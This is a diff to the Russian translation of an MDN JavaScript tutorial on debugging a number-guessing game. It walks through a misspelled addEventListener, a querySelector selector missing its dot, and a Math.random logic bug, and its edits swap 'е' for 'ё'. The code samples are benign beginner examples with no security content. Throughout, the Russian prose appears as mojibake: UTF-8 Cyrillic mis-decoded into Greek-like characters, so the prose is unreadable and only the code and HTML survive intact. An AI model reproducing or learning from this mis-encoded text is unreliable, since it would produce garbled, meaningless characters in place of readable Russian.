<li>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° Π²ΠΊΠ»Π°Π΄ΠΊΡƒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρƒ вас Π΅ΡΡ‚ΡŒ number-game-errors.html, ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ консоль JavaScript. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ сообщСниС ΠΎΠ± ошибкС Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… строках: <img alt="" src="https://mdn.mozillademos.org/files/13496/not-a-function.png" style="display: block; margin: 0 auto;"></li>
- <li>Π­Ρ‚ΠΎ довольно простая ошибка для отслСТивания, ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ нСсколько ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… Π±ΠΈΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ (ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚ Π²Ρ‹ΡˆΠ΅ ΠΎΡ‚ Firefox, Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ). Π‘Π»Π΅Π²Π° Π½Π°ΠΏΡ€Π°Π²ΠΎ, Ρƒ нас Π΅ΡΡ‚ΡŒ:
+ <li>Π­Ρ‚ΠΎ довольно простая ошибка для отслСТивания, ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ нСсколько ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… Π±ΠΈΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ (ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚ Π²Ρ‹ΡˆΠ΅ ΠΎΡ‚ Firefox, Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ). Π‘Π»Π΅Π²Π° Π½Π°ΠΏΡ€Π°Π²ΠΎ, Ρƒ нас Π΅ΡΡ‚ΡŒ:
<ul>
<li>ΠšΡ€Π°ΡΠ½Ρ‹ΠΉ Β«xΒ» ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ это ошибка.</li>
<li>Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ ΠΎΠ± ошибкС, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, Ρ‡Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ: Β«TypeError: guessSubmit.addeventListener Π½Π΅ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ»</li>
<li>Бсылка Β«Π£Π·Π½Π°Ρ‚ΡŒ большС», которая ссылаСтся Π½Π° страницу MDN, которая ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ эта ошибка ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π² ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹Ρ… количСствах Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ.</li>
- <li>Имя Ρ„Π°ΠΉΠ»Π° JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ссылаСтся Π½Π° Π²ΠΊΠ»Π°Π΄ΠΊΡƒ Β«ΠžΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊΒ» консоли Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°. Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚Π΅ ΠΏΠΎ этой ссылкС, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‚ΠΎΡ‡Π½ΡƒΡŽ строку, Π³Π΄Π΅ подсвСчиваСтся ошибка.</li>
+ <li>Имя Ρ„Π°ΠΉΠ»Π° JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ссылаСтся Π½Π° Π²ΠΊΠ»Π°Π΄ΠΊΡƒ Β«ΠžΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊΒ» консоли Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°. Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΏΠΎ этой ссылкС, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‚ΠΎΡ‡Π½ΡƒΡŽ строку, Π³Π΄Π΅ подсвСчиваСтся ошибка.</li>
<li>НомСр строки, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ находится ошибка, ΠΈ Π½ΠΎΠΌΠ΅Ρ€ символа Π² этой строкС, Π³Π΄Π΅ пСрвая ошибка. Π’ этом случаС Ρƒ нас Π΅ΡΡ‚ΡŒ строка 86, символ Π½ΠΎΠΌΠ΅Ρ€ 3.</li>
</ul>
</li>
- <li>Если ΠΌΡ‹ посмотрим Π½Π° строку 86 Π² нашСм Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅ ΠΊΠΎΠ΄Π°, ΠΌΡ‹ Π½Π°ΠΉΠ΄Π΅ΠΌ эту строку:
+ <li>Если ΠΌΡ‹ посмотрим Π½Π° строку 86 Π² нашСм Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅ ΠΊΠΎΠ΄Π°, ΠΌΡ‹ Π½Π°ΠΉΠ΄Ρ‘ΠΌ эту строку:
<pre class="brush: js"><font><font>guessSubmit.addeventListener('click', checkGuess);</font></font></pre>
</li>
<li>Π’ сообщСнии ΠΎΠ± ошибкС говорится, Ρ‡Ρ‚ΠΎ Β«guessSubmit.addeventListener Π½Π΅ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ», поэтому ΠΌΡ‹, вСроятно, Π³Π΄Π΅-Ρ‚ΠΎ ошиблись. Если Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹ Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ написания синтаксиса, часто Π±Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½Π° MDN. Π›ΡƒΡ‡ΡˆΠΈΠΉ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π² настоящСС врСмя — поиск Β«mdn <em>имя-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</em>Β» Π² вашСй любимой поисковой систСмС. Π’ΠΎΡ‚ ссылка, которая ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ Π²Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя Π² Π΄Π°Π½Π½ΠΎΠΌ случаС:Β <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>.</li>
@@ -96,20 +96,20 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π
<li>ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Π½Π° строку 78, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄:
<pre class="brush: js"><font><font>lowOrHi.textContent = «ПослСднСС ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±Ρ‹Π»ΠΎ слишком высоко!Β»;</font></font></pre>
</li>
- <li>Π­Ρ‚Π° строка пытаСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство <code>textContent</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>lowOrHi</code> ΠΊΠ°ΠΊ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку, Π½ΠΎ это Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>lowOrHi</code> Π½Π΅ содСрТит Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½Π°. Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Ρ‚Π°ΠΊ происходит — ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ экзСмпляры <code>lowOrHi</code> Π² ΠΊΠΎΠ΄Π΅. Π‘Π°ΠΌΡ‹ΠΉ Ρ€Π°Π½Π½ΠΈΠΉ экзСмпляр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π² JavaScript, находится Π² строкС 48:
+ <li>Π­Ρ‚Π° строка пытаСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство <code>textContent</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>lowOrHi</code> ΠΊΠ°ΠΊ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку, Π½ΠΎ это Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>lowOrHi</code> Π½Π΅ содСрТит Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½Π°. Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Ρ‚Π°ΠΊ происходит — ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ экзСмпляры <code>lowOrHi</code> Π² ΠΊΠΎΠ΄Π΅. Π‘Π°ΠΌΡ‹ΠΉ Ρ€Π°Π½Π½ΠΈΠΉ экзСмпляр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π² JavaScript, находится Π² строкС 48:
<pre class="brush: js"><font><font>var lowOrHi = document.querySelector('lowOrHi');</font></font></pre>
</li>
<li>На этом этапС ΠΌΡ‹ пытаСмся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ссылку Π½Π° элСмСнт Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° HTML. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, являСтся Π»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β  <code>null</code> послС выполнСния этой строки. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π² строку 49:
<pre class="brush: js">console.log(lowOrHi);
</pre>
</li>
- <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅, ΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹ <code>console.log()</code> Π² консоли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. <img alt="" src="https://mdn.mozillademos.org/files/13494/console-log-output.png" style="display: block; margin: 0 auto;"> РазумССтся, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>lowOrHi</code> Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρ€Π°Π²Π½ΠΎ <code>null</code>, поэтому ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ сущСствуСт ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² строкС 48.</li>
+ <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅, ΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹ <code>console.log()</code> Π² консоли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. <img alt="" src="https://mdn.mozillademos.org/files/13494/console-log-output.png" style="display: block; margin: 0 auto;"> РазумССтся, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>lowOrHi</code> Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρ€Π°Π²Π½ΠΎ <code>null</code>, поэтому ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ сущСствуСт ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² строкС 48.</li>
<li>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠ΄ΡƒΠΌΠ°Π΅ΠΌ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ. Π‘Ρ‚Ρ€ΠΎΠΊΠ° 48 ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code><a href="/en-US/docs/Web/API/Document/querySelector">document.querySelector()</a></code> для получСния ссылки Π½Π° элСмСнт, выбирая Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСлСктора CSS. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Π² Π΄Π°Π»Π΅Π΅ наш Ρ„Π°ΠΉΠ», ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΉΡ‚ΠΈ обсуТдаСмый элСмСнт <code>&lt;p&gt;</code>:
<pre class="brush: js">&lt;p class="lowOrHi"&gt;&lt;/p&gt;
</pre>
</li>
<li>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ сСлСктор классов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ начинаСтся с Ρ‚ΠΎΡ‡ΠΊΠΈ (.), Π½ΠΎ сСлСктор, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΉ Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>querySelector()</code> Π² строкС 48, Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‡ΠΊΠΈ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, это ΠΈ Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°! ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ <code>lowOrHi</code> Π½Π° <code>.lowOrHi</code> Π² строкС 48.</li>
- <li>ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚Π΅ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΡƒ сохранСния ΠΈ обновлСния, ΠΈ ваш Π²Ρ‹Π·ΠΎΠ² <code>console.log()</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ элСмСнт <code>&lt;p&gt;</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ. Π£Ρ„! Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° ошибка исправлСна! Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ строку с  <code>console.log()</code> сСйчас, ΠΈΠ»ΠΈ ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ для дальнСйшСго примСнСния — Π²Ρ‹Π±ΠΈΡ€Π°ΠΉΡ‚Π΅ сами.</li>
+ <li>ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚Π΅ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΡƒ сохранСния ΠΈ обновлСния, ΠΈ ваш Π²Ρ‹Π·ΠΎΠ² <code>console.log()</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ элСмСнт <code>&lt;p&gt;</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ. Π£Ρ„! Π•Ρ‰Ρ‘ ΠΎΠ΄Π½Π° ошибка исправлСна! Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ строку с  <code>console.log()</code> сСйчас, ΠΈΠ»ΠΈ ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ для дальнСйшСго примСнСния — Π²Ρ‹Π±ΠΈΡ€Π°ΠΉΡ‚Π΅ сами.</li>
</ol>
<div class="note">
@@ -126,12 +126,12 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π
<h2 id="ЛогичСская_ошибка">ЛогичСская ошибка</h2>
-<p>На этом этапС ΠΈΠ³Ρ€Π° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ, ΠΎΠ΄Π½Π°ΠΊΠΎ, ΠΏΠΎΠΈΠ³Ρ€Π°Π² нСсколько Ρ€Π°Π·, Π²Ρ‹, нСсомнСнно замСтитС, Ρ‡Ρ‚ΠΎ случайноС число, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ, всСгда 0 ΠΈΠ»ΠΈ 1. ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ Π½Π΅ совсСм Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ³Ρ€Π° Π±Ρ‹Π»Π° Ρ€Π°Π·Ρ‹Π³Ρ€Π°Π½Π°!</p>
+<p>На этом этапС ΠΈΠ³Ρ€Π° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ, ΠΎΠ΄Π½Π°ΠΊΠΎ, ΠΏΠΎΠΈΠ³Ρ€Π°Π² нСсколько Ρ€Π°Π·, Π²Ρ‹, нСсомнСнно замСтитС, Ρ‡Ρ‚ΠΎ случайноС число, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ, всСгда 0 ΠΈΠ»ΠΈ 1. ΠžΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ Π½Π΅ совсСм Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ³Ρ€Π° Π±Ρ‹Π»Π° Ρ€Π°Π·Ρ‹Π³Ρ€Π°Π½Π°!</p>
<p>БСзусловно, Π³Π΄Π΅-Ρ‚ΠΎ Π² ΠΈΠ³Ρ€Π΅ Π΅ΡΡ‚ΡŒ Π»ΠΎΠ³ΠΈΡ‡Π΅ΡΠΊΠ°ΡΒ ΠΎΡˆΠΈΠ±ΠΊΠ°Β β€” ΠΈΠ³Ρ€Π° Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΎΠ½Π° просто Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ.</p>
<ol>
- <li>НайдСм ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>randomNumber</code>Β , ΠΈ строку Π³Π΄Π΅ Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· устанавливали случайноС число. ΠŸΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ Ρ…Ρ€Π°Π½ΠΈΠΌ случайноС число, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ, Π½Π° строкС 44:
+ <li>Найдём ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>randomNumber</code>Β , ΠΈ строку Π³Π΄Π΅ Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· устанавливали случайноС число. ΠŸΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ Ρ…Ρ€Π°Π½ΠΈΠΌ случайноС число, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ, Π½Π° строкС 44:
<pre class="brush: js">var randomNumber = Math.floor(Math.random()) + 1;
</pre>
@@ -140,11 +140,11 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π
<pre class="brush: js">randomNumber = Math.floor(Math.random()) + 1;
</pre>
</li>
- <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² этом, Π΄Π°Π²Π°ΠΉΡ‚Π΅ обратимся ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ Π΄Ρ€ΡƒΠ³ΡƒΒ <code>console.log()</code> снова — Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π΅ Π½ΠΈΠΆΠ΅ строк с ошибками:
+ <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² этом, Π΄Π°Π²Π°ΠΉΡ‚Π΅ обратимся ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ Π΄Ρ€ΡƒΠ³ΡƒΒ <code>console.log()</code> снова — Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‘ Π½ΠΈΠΆΠ΅ строк с ошибками:
<pre class="brush: js">console.log(randomNumber);
</pre>
</li>
- <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅, Π° дальшС ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠ°Ρ€Ρƒ Ρ€Π°Π· ΡΡ‹Π³Ρ€Π°Ρ‚ΡŒΒ β€” Π² консоли Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ <code>randomNumber</code>Β Ρ€Π°Π²Π½Π°Β 1 Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅, Π³Π΄Π΅ Π²Ρ‹ Π΅Π΅ записали послС строк с ошибками.</li>
+ <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅, Π° дальшС ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠ°Ρ€Ρƒ Ρ€Π°Π· ΡΡ‹Π³Ρ€Π°Ρ‚ΡŒΒ β€” Π² консоли Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ <code>randomNumber</code>Β Ρ€Π°Π²Π½Π°Β 1 Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅, Π³Π΄Π΅ Π²Ρ‹ Π΅Ρ‘ записали послС строк с ошибками.</li>
</ol>
<h3 id="Π Π°Π±ΠΎΡ‚Π°Π΅ΠΌ_Ρ‡Π΅Ρ€Π΅Π·_Π»ΠΎΠ³ΠΈΠΊΡƒ">Π Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Ρ‡Π΅Ρ€Π΅Π· Π»ΠΎΠ³ΠΈΠΊΡƒ</h3>
@@ -153,11 +153,11 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π
<pre class="brush: js"><font><font>Math.random()</font></font></pre>
